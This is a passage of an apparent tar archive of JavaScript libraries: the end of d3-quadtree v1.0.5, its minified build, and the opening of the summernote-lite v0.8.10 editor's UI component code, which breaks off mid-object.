  }
  return this;
}

function defaultX(d) {
  return d[0];
}

function tree_x(_) {
  return arguments.length ? (this._x = _, this) : this._x;
}

function defaultY(d) {
  return d[1];
}

function tree_y(_) {
  return arguments.length ? (this._y = _, this) : this._y;
}

function quadtree(nodes, x, y) {
  var tree = new Quadtree(x == null ? defaultX : x, y == null ? defaultY : y, NaN, NaN, NaN, NaN);
  return nodes == null ? tree : tree.addAll(nodes);
}

function Quadtree(x, y, x0, y0, x1, y1) {
  this._x = x;
  this._y = y;
  this._x0 = x0;
  this._y0 = y0;
  this._x1 = x1;
  this._y1 = y1;
  this._root = undefined;
}

function leaf_copy(leaf) {
  var copy = {data: leaf.data}, next = copy;
  while (leaf = leaf.next) next = next.next = {data: leaf.data};
  return copy;
}

var treeProto = quadtree.prototype = Quadtree.prototype;

treeProto.copy = function() {
  var copy = new Quadtree(this._x, this._y, this._x0, this._y0, this._x1, this._y1),
      node = this._root,
      nodes,
      child;

  if (!node) return copy;

  if (!node.length) return copy._root = leaf_copy(node), copy;

  nodes = [{source: node, target: copy._root = new Array(4)}];
  while (node = nodes.pop()) {
    for (var i = 0; i < 4; ++i) {
      if (child = node.source[i]) {
        if (child.length) nodes.push({source: child, target: node.target[i] = new Array(4)});
        else node.target[i] = leaf_copy(child);
      }
    }
  }

  return copy;
};

treeProto.add = tree_add;
treeProto.addAll = addAll;
treeProto.cover = tree_cover;
treeProto.data = tree_data;
treeProto.extent = tree_extent;
treeProto.find = tree_find;
treeProto.remove = tree_remove;
treeProto.removeAll = removeAll;
treeProto.root = tree_root;
treeProto.size = tree_size;
treeProto.visit = tree_visit;
treeProto.visitAfter = tree_visitAfter;
treeProto.x = tree_x;
treeProto.y = tree_y;

exports.quadtree = quadtree;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-quadtree.min.js000064400000012475151677323100010020 0ustar00// https://d3js.org/d3-quadtree/ v1.0.5 Copyright 2018 Mike Bostock
!function(t,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof define&&define.amd?define(["exports"],i):i(t.d3=t.d3||{})}(this,function(t){"use strict";function i(t,i,e,r){if(isNaN(i)||isNaN(e))return t;var n,h,s,o,a,u,l,_,f,y=t._root,x={data:r},c=t._x0,d=t._y0,v=t._x1,p=t._y1;if(!y)return t._root=x,t;for(;y.length;)if((u=i>=(h=(c+v)/2))?c=h:v=h,(l=e>=(s=(d+p)/2))?d=s:p=s,n=y,!(y=y[_=l<<1|u]))return n[_]=x,t;if(o=+t._x.call(null,y.data),a=+t._y.call(null,y.data),i===o&&e===a)return x.next=y,n?n[_]=x:t._root=x,t;do{n=n?n[_]=new Array(4):t._root=new Array(4),(u=i>=(h=(c+v)/2))?c=h:v=h,(l=e>=(s=(d+p)/2))?d=s:p=s}while((_=l<<1|u)==(f=(a>=s)<<1|o>=h));return n[f]=y,n[_]=x,t}function e(t,i,e,r,n){this.node=t,this.x0=i,this.y0=e,this.x1=r,this.y1=n}function r(t){return t[0]}function n(t){return t[1]}function h(t,i,e){var h=new s(null==i?r:i,null==e?n:e,NaN,NaN,NaN,NaN);return null==t?h:h.addAll(t)}function s(t,i,e,r,n,h){this._x=t,this._y=i,this._x0=e,this._y0=r,this._x1=n,this._y1=h,this._root=void 0}function o(t){for(var i={data:t.data},e=i;t=t.next;)e=e.next={data:t.data};return i}var a=h.prototype=s.prototype;a.copy=function(){var t,i,e=new s(this._x,this._y,this._x0,this._y0,this._x1,this._y1),r=this._root;if(!r)return e;if(!r.length)return e._root=o(r),e;for(t=[{source:r,target:e._root=new Array(4)}];r=t.pop();)for(var n=0;n<4;++n)(i=r.source[n])&&(i.length?t.push({source:i,target:r.target[n]=new Array(4)}):r.target[n]=o(i));return e},a.add=function(t){var e=+this._x.call(null,t),r=+this._y.call(null,t);return i(this.cover(e,r),e,r,t)},a.addAll=function(t){var e,r,n,h,s=t.length,o=new Array(s),a=new Array(s),u=1/0,l=1/0,_=-1/0,f=-1/0;for(r=0;r<s;++r)isNaN(n=+this._x.call(null,e=t[r]))||isNaN(h=+this._y.call(null,e))||(o[r]=n,a[r]=h,n<u&&(u=n),n>_&&(_=n),h<l&&(l=h),h>f&&(f=h));for(_<u&&(u=this._x0,_=this._x1),f<l&&(l=this._y0,f=this._y1),this.cover(u,l).cover(_,f),r=0;r<s;++r)i(this,o[r],a[r],t[r]);return this},a.cover=function(t,i){if(isNaN(t=+t)||isNaN(i=+i))return this;var e=this._x0,r=this._y0,n=this._x1,h=this._y1;if(isNaN(e))n=(e=Math.floor(t))+1,h=(r=Math.floor(i))+1;else{if(!(e>t||t>n||r>i||i>h))return this;var s,o,a=n-e,u=this._root;switch(o=(i<(r+h)/2)<<1|t<(e+n)/2){case 0:do{(s=new Array(4))[o]=u,u=s}while(h=r+(a*=2),t>(n=e+a)||i>h);break;case 1:do{(s=new Array(4))[o]=u,u=s}while(h=r+(a*=2),(e=n-a)>t||i>h);break;case 2:do{(s=new Array(4))[o]=u,u=s}while(r=h-(a*=2),t>(n=e+a)||r>i);break;case 3:do{(s=new Array(4))[o]=u,u=s}while(r=h-(a*=2),(e=n-a)>t||r>i)}this._root&&this._root.length&&(this._root=u)}return this._x0=e,this._y0=r,this._x1=n,this._y1=h,this},a.data=function(){var t=[];return this.visit(function(i){if(!i.length)do{t.push(i.data)}while(i=i.next)}),t},a.extent=function(t){return arguments.length?this.cover(+t[0][0],+t[0][1]).cover(+t[1][0],+t[1][1]):isNaN(this._x0)?void 0:[[this._x0,this._y0],[this._x1,this._y1]]},a.find=function(t,i,r){var n,h,s,o,a,u,l,_=this._x0,f=this._y0,y=this._x1,x=this._y1,c=[],d=this._root;for(d&&c.push(new e(d,_,f,y,x)),null==r?r=1/0:(_=t-r,f=i-r,y=t+r,x=i+r,r*=r);u=c.pop();)if(!(!(d=u.node)||(h=u.x0)>y||(s=u.y0)>x||(o=u.x1)<_||(a=u.y1)<f))if(d.length){var v=(h+o)/2,p=(s+a)/2;c.push(new e(d[3],v,p,o,a),new e(d[2],h,p,v,a),new e(d[1],v,s,o,p),new e(d[0],h,s,v,p)),(l=(i>=p)<<1|t>=v)&&(u=c[c.length-1],c[c.length-1]=c[c.length-1-l],c[c.length-1-l]=u)}else{var w=t-+this._x.call(null,d.data),N=i-+this._y.call(null,d.data),g=w*w+N*N;if(g<r){var A=Math.sqrt(r=g);_=t-A,f=i-A,y=t+A,x=i+A,n=d.data}}return n},a.remove=function(t){if(isNaN(h=+this._x.call(null,t))||isNaN(s=+this._y.call(null,t)))return this;var i,e,r,n,h,s,o,a,u,l,_,f,y=this._root,x=this._x0,c=this._y0,d=this._x1,v=this._y1;if(!y)return this;if(y.length)for(;;){if((u=h>=(o=(x+d)/2))?x=o:d=o,(l=s>=(a=(c+v)/2))?c=a:v=a,i=y,!(y=y[_=l<<1|u]))return this;if(!y.length)break;(i[_+1&3]||i[_+2&3]||i[_+3&3])&&(e=i,f=_)}for(;y.data!==t;)if(r=y,!(y=y.next))return this;return(n=y.next)&&delete y.next,r?(n?r.next=n:delete r.next,this):i?(n?i[_]=n:delete i[_],(y=i[0]||i[1]||i[2]||i[3])&&y===(i[3]||i[2]||i[1]||i[0])&&!y.length&&(e?e[f]=y:this._root=y),this):(this._root=n,this)},a.removeAll=function(t){for(var i=0,e=t.length;i<e;++i)this.remove(t[i]);return this},a.root=function(){return this._root},a.size=function(){var t=0;return this.visit(function(i){if(!i.length)do{++t}while(i=i.next)}),t},a.visit=function(t){var i,r,n,h,s,o,a=[],u=this._root;for(u&&a.push(new e(u,this._x0,this._y0,this._x1,this._y1));i=a.pop();)if(!t(u=i.node,n=i.x0,h=i.y0,s=i.x1,o=i.y1)&&u.length){var l=(n+s)/2,_=(h+o)/2;(r=u[3])&&a.push(new e(r,l,_,s,o)),(r=u[2])&&a.push(new e(r,n,_,l,o)),(r=u[1])&&a.push(new e(r,l,h,s,_)),(r=u[0])&&a.push(new e(r,n,h,l,_))}return this},a.visitAfter=function(t){var i,r=[],n=[];for(this._root&&r.push(new e(this._root,this._x0,this._y0,this._x1,this._y1));i=r.pop();){var h=i.node;if(h.length){var s,o=i.x0,a=i.y0,u=i.x1,l=i.y1,_=(o+u)/2,f=(a+l)/2;(s=h[0])&&r.push(new e(s,o,a,_,f)),(s=h[1])&&r.push(new e(s,_,a,u,f)),(s=h[2])&&r.push(new e(s,o,f,_,l)),(s=h[3])&&r.push(new e(s,_,f,u,l))}n.push(i)}for(;i=n.pop();)t(i.node,i.x0,i.y0,i.x1,i.y1);return this},a.x=function(t){return arguments.length?(this._x=t,this):this._x},a.y=function(t){return arguments.length?(this._y=t,this):this._y},t.quadtree=h,Object.defineProperty(t,"__esModule",{value:!0})});
summernote-lite.js000064400001071413151677331550010257 0ustar00/**
 * Super simple wysiwyg editor v0.8.10
 * https://summernote.org
 *
 * Copyright 2013- Alan Hong. and other contributors
 * summernote may be freely distributed under the MIT license.
 *
 * Date: 2018-02-20T00:34Z
 */
(function (global, factory) {
	typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('jquery')) :
	typeof define === 'function' && define.amd ? define(['jquery'], factory) :
	(factory(global.jQuery));
}(this, (function ($$1) { 'use strict';

$$1 = $$1 && $$1.hasOwnProperty('default') ? $$1['default'] : $$1;

var Renderer = /** @class */ (function () {
    function Renderer(markup, children, options, callback) {
        this.markup = markup;
        this.children = children;
        this.options = options;
        this.callback = callback;
    }
    Renderer.prototype.render = function ($parent) {
        var $node = $$1(this.markup);
        if (this.options && this.options.contents) {
            $node.html(this.options.contents);
        }
        if (this.options && this.options.className) {
            $node.addClass(this.options.className);
        }
        if (this.options && this.options.data) {
            $$1.each(this.options.data, function (k, v) {
                $node.attr('data-' + k, v);
            });
        }
        if (this.options && this.options.click) {
            $node.on('click', this.options.click);
        }
        if (this.children) {
            var $container_1 = $node.find('.note-children-container');
            this.children.forEach(function (child) {
                child.render($container_1.length ? $container_1 : $node);
            });
        }
        if (this.callback) {
            this.callback($node, this.options);
        }
        if (this.options && this.options.callback) {
            this.options.callback($node);
        }
        if ($parent) {
            $parent.append($node);
        }
        return $node;
    };
    return Renderer;
}());
var renderer = {
    create: function (markup, callback) {
        return function () {
            var options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];
            var children = $$1.isArray(arguments[0]) ? arguments[0] : [];
            if (options && options.children) {
                children = options.children;
            }
            return new Renderer(markup, children, options, callback);
        };
    }
};

var TooltipUI = /** @class */ (function () {
    function TooltipUI($node, options) {
        this.$node = $node;
        this.options = $.extend({}, {
            title: '',
            target: options.container,
            trigger: 'hover focus',
            placement: 'bottom'
        }, options);
        // create tooltip node
        this.$tooltip = $([
            '<div class="note-tooltip in">',
            '  <div class="note-tooltip-arrow"/>',
            '  <div class="note-tooltip-content"/>',
            '</div>'
        ].join(''));
        // define event
        if (this.options.trigger !== 'manual') {
            var showCallback_1 = this.show.bind(this);
            var hideCallback_1 = this.hide.bind(this);
            var toggleCallback_1 = this.toggle.bind(this);
            this.options.trigger.split(' ').forEach(function (eventName) {
                if (eventName === 'hover') {
                    $node.off('mouseenter mouseleave');
                    $node.on('mouseenter', showCallback_1).on('mouseleave', hideCallback_1);
                }
                else if (eventName === 'click') {
                    $node.on('click', toggleCallback_1);
                }
                else if (eventName === 'focus') {
                    $node.on('focus', showCallback_1).on('blur', hideCallback_1);
                }
            });
        }
    }
    TooltipUI.prototype.show = function () {
        var $node = this.$node;
        var offset = $node.offset();
        var $tooltip = this.$tooltip;
        var title = this.options.title || $node.attr('title') || $node.data('title');
        var placement = this.options.placement || $node.data('placement');
        $tooltip.addClass(placement);
        $tooltip.addClass('in');
        $tooltip.find('.note-tooltip-content').text(title);
        $tooltip.appendTo(this.options.target);
        var nodeWidth = $node.outerWidth();
        var nodeHeight = $node.outerHeight();
        var tooltipWidth = $tooltip.outerWidth();
        var tooltipHeight = $tooltip.outerHeight();
        if (placement === 'bottom') {
            $tooltip.css({
                top: offset.top + nodeHeight,
                left: offset.left + (nodeWidth / 2 - tooltipWidth / 2)
            });
        }
        else if (placement === 'top') {
            $tooltip.css({
                top: offset.top - tooltipHeight,
                left: offset.left + (nodeWidth / 2 - tooltipWidth / 2)
            });
        }
        else if (placement === 'left') {
            $tooltip.css({
                top: offset.top + (nodeHeight / 2 - tooltipHeight / 2),
                left: offset.left - tooltipWidth
            });
        }
        else if (placement === 'right') {
            $tooltip.css({
                top: offset.top + (nodeHeight / 2 - tooltipHeight / 2),
                left: offset.left + nodeWidth
            });
        }
    };
    TooltipUI.prototype.hide = function () {
        this.$tooltip.removeClass('in');
        this.$tooltip.remove();
    };
    TooltipUI.prototype.toggle = function () {
        if (this.$tooltip.hasClass('in')) {
            this.hide();
        }
        else {
            this.show();
        }
    };
    return TooltipUI;
}());

var DropdownUI = /** @class */ (function () {
    function DropdownUI($node, options) {
        this.$button = $node;
        this.options = $.extend({}, {
            target: options.container
        }, options);
        this.setEvent();
    }
    DropdownUI.prototype.setEvent = function () {
        this.$button.on('click', this.toggle.bind(this));
    };
    DropdownUI.prototype.clear = function () {
        var $parent = $('.note-btn-group.open');
        $parent.find('.note-btn.active').removeClass('active');
        $parent.removeClass('open');
    };
    DropdownUI.prototype.show = function () {
        this.$button.addClass('active');
        this.$button.parent().addClass('open');
        var $dropdown = this.$button.next();
        var offset = $dropdown.offset();
        var width = $dropdown.outerWidth();
        var windowWidth = $(window).width();
        var targetMarginRight = parseFloat($(this.options.target).css('margin-right'));
        if (offset.left + width > windowWidth - targetMarginRight) {
            $dropdown.css('margin-left', windowWidth - targetMarginRight - (offset.left + width));
        }
        else {
            $dropdown.css('margin-left', '');
        }
    };
    DropdownUI.prototype.hide = function () {
        this.$button.removeClass('active');
        this.$button.parent().removeClass('open');
    };
    DropdownUI.prototype.toggle = function () {
        var isOpened = this.$button.parent().hasClass('open');
        this.clear();
        if (isOpened) {
            this.hide();
        }
        else {
            this.show();
        }
    };
    return DropdownUI;
}());
$(document).on('click', function (e) {
    if (!$(e.target).closest('.note-btn-group').length) {
        $('.note-btn-group.open').removeClass('open');
    }
});
$(document).on('click.note-dropdown-menu', function (e) {
    $(e.target).closest('.note-dropdown-menu').parent().removeClass('open');
});

var ModalUI = /** @class */ (function () {
    function ModalUI($node, options) {
        this.options = $.extend({}, {
            target: options.container || 'body'
        }, options);
        this.$modal = $node;
        this.$backdrop = $('<div class="note-modal-backdrop" />');
    }
    ModalUI.prototype.show = function () {
        if (this.options.target === 'body') {
            this.$backdrop.css('position', 'fixed');
            this.$modal.css('position', 'fixed');
        }
        else {
            this.$backdrop.css('position', 'absolute');
            this.$modal.css('position', 'absolute');
        }
        this.$backdrop.appendTo(this.options.target).show();
        this.$modal.appendTo(this.options.target).addClass('open').show();
        this.$modal.trigger('note.modal.show');
        this.$modal.off('click', '.close').on('click', '.close', this.hide.bind(this));
    };
    ModalUI.prototype.hide = function () {
        this.$modal.removeClass('open').hide();
        this.$backdrop.hide();
        this.$modal.trigger('note.modal.hide');
    };
    return ModalUI;
}());

var editor = renderer.create('<div class="note-editor note-frame"/>');
var toolbar = renderer.create('<div class="note-toolbar" role="toolbar"/>');
var editingArea = renderer.create('<div class="note-editing-area"/>');
var codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>');
var editable = renderer.create('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>');
var statusbar = renderer.create([
    '<output class="note-status-output" role="status" aria-live="polite"/>',
    '<div class="note-statusbar" role="resize">',
    '  <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="resize">',
    '    <div class="note-icon-bar"/>',
    '    <div class="note-icon-bar"/>',
    '    <div class="note-icon-bar"/>',
    '  </div>',
    '</div>'
].join(''));
var airEditor = renderer.create('<div class="note-editor"/>');
var airEditable = renderer.create([
    '<output class="note-status-output" role="status" aria-live="polite"/>',
    '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'
].join(''));
var buttonGroup = renderer.create('<div class="note-btn-group">');
var button = renderer.create('<button type="button" class="note-btn" role="button" tabindex="-1">', function ($node, options) {
    // set button type
    if (options && options.tooltip) {
        $node.attr({
            'aria-label': options.tooltip
        });
        $node.data('_lite_tooltip', new TooltipUI($node, {
            title: options.tooltip,
            container: options.container
        }));
    }
    if (options.contents) {
        $node.html(options.contents);
    }
    if (options && options.data && options.data.toggle === 'dropdown') {
        $node.data('_lite_dropdown', new DropdownUI($node, {
            container: options.container
        }));
    }
});
var dropdown = renderer.create('<div class="note-dropdown-menu" role="list">', function ($node, options) {
    var markup = $.isArray(options.items) ? options.items.map(function (item) {
        var value = (typeof item === 'string') ? item : (item.value || '');
        var content = options.template ? options.template(item) : item;
        var $temp = $('<a class="note-dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '"></a>');
        $temp.html(content).data('item', item);
        return $temp;
    }) : options.items;
    $node.html(markup).attr({ 'aria-label': options.title });
    $node.on('click', '> .note-dropdown-item', function (e) {
        var $a = $(this);
        var item = $a.data('item');
        var value = $a.data('value');
        if (item.click) {
            item.click($a);
        }
        else if (options.itemClick) {
            options.itemClick(e, item, value);
        }
    });
});
var dropdownCheck = renderer.create('<div class="note-dropdown-menu note-check" role="list">', function ($node, options) {
    var markup = $.isArray(options.items) ? options.items.map(function (item) {
        var value = (typeof item === 'string') ? item : (item.value || '');
        var content = options.template ? options.template(item) : item;
        var $temp = $('<a class="note-dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '"></a>');
        $temp.html([icon(options.checkClassName), ' ', content]).data('item', item);
        return $temp;
    }) : options.items;
    $node.html(markup).attr({ 'aria-label': options.title });
    $node.on('click', '> .note-dropdown-item', function (e) {
        var $a = $(this);
        var item = $a.data('item');
        var value = $a.data('value');
        if (item.click) {
            item.click($a);
        }
        else if (options.itemClick) {
            options.itemClick(e, item, value);
        }
    });
});
var dropdownButtonContents = function (contents, options) {
    return contents + ' ' + icon(options.icons.caret, 'span');
};
var dropdownButton = function (opt, callback) {
    return buttonGroup([
        button({
            className: 'dropdown-toggle',
            contents: opt.title + ' ' + icon('note-icon-caret'),
            tooltip: opt.tooltip,
            data: {
                toggle: 'dropdown'
            }
        }),
        dropdown({
            className: opt.className,
            items: opt.items,
            template: opt.template,
            itemClick: opt.itemClick
        })
    ], { callback: callback }).render();
};
var dropdownCheckButton = function (opt, callback) {
    return buttonGroup([
        button({
            className: 'dropdown-toggle',
            contents: opt.title + ' ' + icon('note-icon-caret'),
            tooltip: opt.tooltip,
            data: {
                toggle: 'dropdown'
            }
        }),
        dropdownCheck({
            className: opt.className,
            checkClassName: opt.checkClassName,
            items: opt.items,
            template: opt.template,
            itemClick: opt.itemClick
        })
    ], { callback: callback }).render();
};
var paragraphDropdownButton = function (opt) {
    return buttonGroup([
        button({
            className: 'dropdown-toggle',
            contents: opt.title + ' ' + icon('note-icon-caret'),
            tooltip: opt.tooltip,
            data: {
                toggle: 'dropdown'
            }
        }),
        dropdown([
            buttonGroup({
                className: 'note-align',
                children: opt.items[0]
            }),
            buttonGroup({
                className: 'note-list',
                children: opt.items[1]
            })
        ])
    ]).render();
};
var tableMoveHandler = function (event, col, row) {
    var PX_PER_EM = 18;
    var $picker = $(event.target.parentNode); // target is mousecatcher
    var $dimensionDisplay = $picker.next();
    var $catcher = $picker.find('.note-dimension-picker-mousecatcher');
    var $highlighted = $picker.find('.note-dimension-picker-highlighted');
    var $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');
    var posOffset;
    // HTML5 with jQuery - e.offsetX is undefined in Firefox
    if (event.offsetX === undefined) {
        var posCatcher = $(event.target).offset();
        posOffset = {
            x: event.pageX - posCatcher.left,
            y: event.pageY - posCatcher.top
        };
    }
    else {
        posOffset = {
            x: event.offsetX,
            y: event.offsetY
        };
    }
    var dim = {
        c: Math.ceil(posOffset.x / PX_PER_EM) || 1,
        r: Math.ceil(posOffset.y / PX_PER_EM) || 1
    };
    $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });
    $catcher.data('value', dim.c + 'x' + dim.r);
    if (dim.c > 3 && dim.c < col) {
        $unhighlighted.css({ width: dim.c + 1 + 'em' });
    }
    if (dim.r > 3 && dim.r < row) {
        $unhighlighted.css({ height: dim.r + 1 + 'em' });
    }
    $dimensionDisplay.html(dim.c + ' x ' + dim.r);
};
var tableDropdownButton = function (opt) {
    return buttonGroup([
        button({
            className: 'dropdown-toggle',
            contents: opt.title + ' ' + icon('note-icon-caret'),
            tooltip: opt.tooltip,
            data: {
                toggle: 'dropdown'
            }
        }),
        dropdown({
            className: 'note-table',
            items: [
                '<div class="note-dimension-picker">',
                '  <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>',
                '  <div class="note-dimension-picker-highlighted"/>',
                '  <div class="note-dimension-picker-unhighlighted"/>',
                '</div>',
                '<div class="note-dimension-display">1 x 1</div>'
            ].join('')
        })
    ], {
        callback: function ($node) {
            var $catcher = $node.find('.note-dimension-picker-mousecatcher');
            $catcher.css({
                width: opt.col + 'em',
                height: opt.row + 'em'
            })
                .mousedown(opt.itemClick)
                .mousemove(function (e) {
                tableMoveHandler(e, opt.col, opt.row);
            });
        }
    }).render();
};
var palette = renderer.create('<div class="note-color-palette"/>', function ($node, options) {
    var contents = [];
    for (var row = 0, rowSize = options.colors.length; row < rowSize; row++) {
        var eventName = options.eventName;
        var colors = options.colors[row];
        var colorsName = options.colorsName[row];
        var buttons = [];
        for (var col = 0, colSize = colors.length; col < colSize; col++) {
            var color = colors[col];
            var colorName = colorsName[col];
            buttons.push([
                '<button type="button" class="note-btn note-color-btn"',
                'style="background-color:', color, '" ',
                'data-event="', eventName, '" ',
                'data-value="', color, '" ',
                'title="', colorName, '" ',
                'aria-label="', colorName, '" ',
                'data-toggle="button" tabindex="-1"></button>'
            ].join(''));
        }
        contents.push('<div class="note-color-row">' + buttons.join('') + '</div>');
    }
    $node.html(contents.join(''));
    $node.find('.note-color-btn').each(function () {
        $(this).data('_lite_tooltip', new TooltipUI($(this), {
            container: options.container
        }));
    });
});
var colorDropdownButton = function (opt, type) {
    return buttonGroup({
        className: 'note-color',
        children: [
            button({
                className: 'note-current-color-button',
                contents: opt.title,
                tooltip: opt.lang.color.recent,
                click: opt.currentClick,
                callback: function ($button) {
                    var $recentColor = $button.find('.note-recent-color');
                    if (type !== 'foreColor') {
                        $recentColor.css('background-color', '#FFFF00');
                        $button.attr('data-backColor', '#FFFF00');
                    }
                }
            }),
            button({
                className: 'dropdown-toggle',
                contents: icon('note-icon-caret'),
                tooltip: opt.lang.color.more,
                data: {
                    toggle: 'dropdown'
                }
            }),
            dropdown({
                items: [
                    '<div>',
                    '<div class="note-btn-group btn-background-color">',
                    '  <div class="note-palette-title">' + opt.lang.color.background + '</div>',
                    '  <div>',
                    '<button type="button" class="note-color-reset note-btn note-btn-block" ' +
                        ' data-event="backColor" data-value="inherit">',
                    opt.lang.color.transparent,
                    '    </button>',
                    '  </div>',
                    '  <div class="note-holder" data-event="backColor"/>',
                    '</div>',
                    '<div class="note-btn-group btn-foreground-color">',
                    '  <div class="note-palette-title">' + opt.lang.color.foreground + '</div>',
                    '  <div>',
                    '<button type="button" class="note-color-reset note-btn note-btn-block" ' +
                        ' data-event="removeFormat" data-value="foreColor">',
                    opt.lang.color.resetToDefault,
                    '    </button>',
                    '  </div>',
                    '  <div class="note-holder" data-event="foreColor"/>',
                    '</div>',
                    '</div>'
                ].join(''),
                callback: function ($dropdown) {
                    $dropdown.find('.note-holder').each(function () {
                        var $holder = $(this);
                        $holder.append(palette({
                            colors: opt.colors,
                            eventName: $holder.data('event')
                        }).render());
                    });
                    if (type === 'fore') {
                        $dropdown.find('.btn-background-color').hide();
                        $dropdown.css({ 'min-width': '210px' });
                    }
                    else if (type === 'back') {
                        $dropdown.find('.btn-foreground-color').hide();
                        $dropdown.css({ 'min-width': '210px' });
                    }
                },
                click: function (event) {
                    var $button = $(event.target);
                    var eventName = $button.data('event');
                    var value = $button.data('value');
                    if (eventName && value) {
                        var key = eventName === 'backColor' ? 'background-color' : 'color';
                        var $color = $button.closest('.note-color').find('.note-recent-color');
                        var $currentButton = $button.closest('.note-color').find('.note-current-color-button');
                        $color.css(key, value);
                        $currentButton.attr('data-' + eventName, value);
                        if (type === 'fore') {
                            opt.itemClick('foreColor', value);
                        }
                        else if (type === 'back') {
                            opt.itemClick('backColor', value);
                        }
                        else {
                            opt.itemClick(eventName, value);
                        }
                    }
                }
            })
        ]
    }).render();
};
var dialog = renderer.create('<div class="note-modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function ($node, options) {
    if (options.fade) {
        $node.addClass('fade');
    }
    $node.attr({
        'aria-label': options.title
    });
    $node.html([
        '  <div class="note-modal-content">',
        (options.title
            ? '    <div class="note-modal-header">' +
                '      <button type="button" class="close" aria-label="Close" aria-hidden="true"><i class="note-icon-close"></i></button>' +
                '      <h4 class="note-modal-title">' + options.title + '</h4>' +
                '    </div>' : ''),
        '    <div class="note-modal-body">' + options.body + '</div>',
        (options.footer
            ? '    <div class="note-modal-footer">' + options.footer + '</div>' : ''),
        '  </div>'
    ].join(''));
    $node.data('modal', new ModalUI($node, options));
});
var videoDialog = function (opt) {
    var body = '<div class="note-form-group">' +
        '<label class="note-form-label">' +
        opt.lang.video.url + ' <small class="text-muted">' +
        opt.lang.video.providers + '</small>' +
        '</label>' +
        '<input class="note-video-url note-input" type="text" />' +
        '</div>';
    var footer = [
        '<button type="button" href="#" class="note-btn note-btn-primary note-video-btn disabled" disabled>',
        opt.lang.video.insert,
        '</button>'
    ].join('');
    return dialog({
        title: opt.lang.video.insert,
        fade: opt.fade,
        body: body,
        footer: footer
    }).render();
};
var imageDialog = function (opt) {
    var body = '<div class="note-form-group note-group-select-from-files">' +
        '<label class="note-form-label">' + opt.lang.image.selectFromFiles + '</label>' +
        '<input class="note-note-image-input note-input" type="file" name="files" accept="image/*" multiple="multiple" />' +
        opt.imageLimitation +
        '</div>' +
        '<div class="note-form-group" style="overflow:auto;">' +
        '<label class="note-form-label">' + opt.lang.image.url + '</label>' +
        '<input class="note-image-url note-input" type="text" />' +
        '</div>';
    var footer = [
        '<button href="#" type="button" class="note-btn note-btn-primary note-btn-large note-image-btn disabled" disabled>',
        opt.lang.image.insert,
        '</button>'
    ].join('');
    return dialog({
        title: opt.lang.image.insert,
        fade: opt.fade,
        body: body,
        footer: footer
    }).render();
};
var linkDialog = function (opt) {
    var body = '<div class="note-form-group">' +
        '<label class="note-form-label">' + opt.lang.link.textToDisplay + '</label>' +
        '<input class="note-link-text note-input" type="text" />' +
        '</div>' +
        '<div class="note-form-group">' +
        '<label class="note-form-label">' + opt.lang.link.url + '</label>' +
        '<input class="note-link-url note-input" type="text" value="http://" />' +
        '</div>' +
        (!opt.disableLinkTarget
            ? '<div class="checkbox">' +
                '<label>' + '<input type="checkbox" checked> ' + opt.lang.link.openInNewWindow + '</label>' +
                '</div>' : '');
    var footer = [
        '<button href="#" type="button" class="note-btn note-btn-primary note-link-btn disabled" disabled>',
        opt.lang.link.insert,
        '</button>'
    ].join('');
    return dialog({
        className: 'link-dialog',
        title: opt.lang.link.insert,
        fade: opt.fade,
        body: body,
        footer: footer
    }).render();
};
var popover = renderer.create([
    '<div class="note-popover bottom">',
    '  <div class="note-popover-arrow"/>',
    '  <div class="note-popover-content note-children-container"/>',
    '</div>'
].join(''), function ($node, options) {
    var direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';
    $node.addClass(direction).hide();
    if (options.hideArrow) {
        $node.find('.note-popover-arrow').hide();
    }
});
var checkbox = renderer.create('<div class="checkbox"></div>', function ($node, options) {
    $node.html([
        ' <label' + (options.id ? ' for="' + options.id + '"' : '') + '>',
        ' <input role="checkbox" type="checkbox"' + (options.id ? ' id="' + options.id + '"' : ''),
        (options.checked ? ' checked' : ''),
        ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>',
        (options.text ? options.text : ''),
        '</label>'
    ].join(''));
});
var icon = function (iconClassName, tagName) {
    tagName = tagName || 'i';
    return '<' + tagName + ' class="' + iconClassName + '"/>';
};
var ui = {
    editor: editor,
    toolbar: toolbar,
    editingArea: editingArea,
    codable: codable,
    editable: editable,
    statusbar: statusbar,
    airEditor: airEditor,
    airEditable: airEditable,
    buttonGroup: buttonGroup,
    button: button,
    dropdown: dropdown,
    dropdownCheck: dropdownCheck,
    dropdownButton: dropdownButton,
    dropdownButtonContents: dropdownButtonContents,
    dropdownCheckButton: dropdownCheckButton,
    paragraphDropdownButton: paragraphDropdownButton,
    tableDropdownButton: tableDropdownButton,
    colorDropdownButton: colorDropdownButton,
    palette: palette,
    dialog: dialog,
    videoDialog: videoDialog,
    imageDialog: imageDialog,
    linkDialog: linkDialog,
    popover: popover,
    checkbox: checkbox,
    icon: icon,
    toggleBtn: function ($btn, isEnable) {
        $btn.toggleClass('disabled', !isEnable);
        $btn.attr('disabled', !isEnable);
    },
    toggleBtnActive: function ($btn, isActive) {
        $btn.toggleClass('active', isActive);
    },
    check: function ($dom, value) {
        $dom.find('.checked').removeClass('checked');
        $dom.find('[data-value="' + value + '"]').addClass('checked');
    },
    onDialogShown: function ($dialog, handler) {
        $dialog.one('note.modal.show', handler);
    },
    onDialogHidden: function ($dialog, handler) {
        $dialog.one('note.modal.hide', handler);
    },
    showDialog: function ($dialog) {
        $dialog.data('modal').show();
    },
    hideDialog: function ($dialog) {
        $dialog.data('modal').hide();
    },
    /**
     * get popover content area
     *
     * @param $popover
     * @returns {*}
     */
    getPopoverContent: function ($popover) {
        return $popover.find('.note-popover-content');
    },
    /**
     * get dialog's body area
     *
     * @param $dialog
     * @returns {*}
     */
    getDialogBody: function ($dialog) {
        return $dialog.find('.note-modal-body');
    },
